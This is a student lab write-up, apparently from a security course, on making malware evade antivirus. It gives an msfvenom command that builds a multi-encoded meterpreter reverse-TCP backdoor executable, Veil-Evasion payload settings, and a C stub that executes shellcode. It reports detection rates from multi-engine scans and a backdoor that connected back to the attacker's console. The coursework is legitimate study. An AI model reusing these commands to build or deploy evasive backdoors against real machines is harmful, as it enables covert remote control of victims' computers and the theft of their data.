20154309 【网络对抗技术】Exp3: 免杀原理与实现
Exp3 免杀原理实践
一、实验目标
1.正确使用msf编码器、msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
2.通过组合应用各种技术实现恶意代码免杀;
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
二、实验原理
1.AV厂商检测恶意软件的方式
1.1基于特征码的检测
1.2启发式恶意软件检测
1.3基于行为的恶意软件检测
2.免杀原理
知己知彼,百战不殆,杀毒和免杀是天生存在的对立面,二者之间也是相克相生的。
2.1改变特征码
2.2改变行为
2.3非常规方法
三、实验过程
1.使用Msfvenom编码器
将上次实验用Msfvenom编码器生成的后门程序重命名为
backdoor_lyq.exe,把它放到网站 http://www.virscan.org 上检测。
结果如图
19个报错,48%的报错率,说明裸后门文件被发现的可能性还是不错的。
于是我们试试多次编码后会不会降低被检测率。
输入命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’
LHOST=[数据删除] LPORT=443 -f exe > notBackdoor.exe
检测结果
我们发现,多次编码并没有掩盖到源码的特征码,或是多次编码的次数使得特征码掩盖又出现了。
2.使用Veil-Evasion
Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,没有的可以进行在线安装。
由于在线安装没有成功,甚至装成功后不能使用。我考了别人安装好的kali镜像进行操作。
在41个payload中选择第21个进行制作
`use python/meterpreter/rev_tcp.py(设置payload)
set LHOST Kali的IP(设置反弹连接IP)
set port 端口号(设置反弹端口,默认为4444)
generate`
设置信息,LocalHost设置为自己的IP地址,并把LocalPort设置成自己的学号4309+500=4809。
给生成的程序起个名字。
在kali找到该文件,复制到Windows主机上。
在Windows主机上用AV扫描
放在virscan.org上进行扫描,检测率大大降低,但360真是鸡肋
用msfconsole对主机后门文件进行回连
可以通过这个对Windows进行各种操作,我又截了个屏,这回就没用摄像头了~
3.shellcode再编译
在Kali
上使用命令生成一个C语言格式的Shellcode
数组。
在Win
主机上使用Codeblocks
建立C文件,将Shellcode
数组拷贝到其中,加上头文件和一个小函数。
`int main()
{
int (*func)() = (int(*)())buf;
func();
}
`
运行该生成文件,主机AV立即报错
扫描结果如下
仅有八个AV扫描出病毒,360竟然出现在其中
检出率大大降低。
4.加壳
给可执行的病毒进行加壳
发现并没有加壳成功,找不到之前生成的病毒文件
原来是终端没有在当前目录下打开。
将加壳后的文件放在virscan.org中检测
跟之前扫描结果类似,检出率降低少。
四、实验感想
1.离实战还缺什么技术和步骤?
在实际应用中,我们不可能这么容易将后门植入到别人的电脑,或许可以通过钓鱼网站之类的方法来实现。而且按照我这次实现免杀的方法,是在win下面进行编译,实际运用中也不知道该如何实现。这点还需要我们去思考,去探索。而且现在各种杀毒软件层出不穷,它们的病毒库在不断地更新,功能也在不断地完善,今天实现了免杀可能过段时间就失败了,所以还需要我们根据漏洞自己写代码,而不是用软件来直接生成。
2.实践总结与体会
网络安全的问题就在我们的身边。之前一直觉得只要安装好杀毒软件,定期杀毒、给电脑体检就可以了,然而我们自己都能实现免杀,更不要说那些恶意想要攻击你电脑的人了。在当今社会,处处离不开网络,因此我们要时时刻刻提高安全防范意识,定期检查自己的电脑,防止别人恶意盗取利用自己的信息。希望可以将自己学到的知识与实践相结合,帮助别人解决更多的问题。
posted on 2018-04-11 09:34 4309yanqing 阅读(178) 评论(0) 编辑 收藏 举报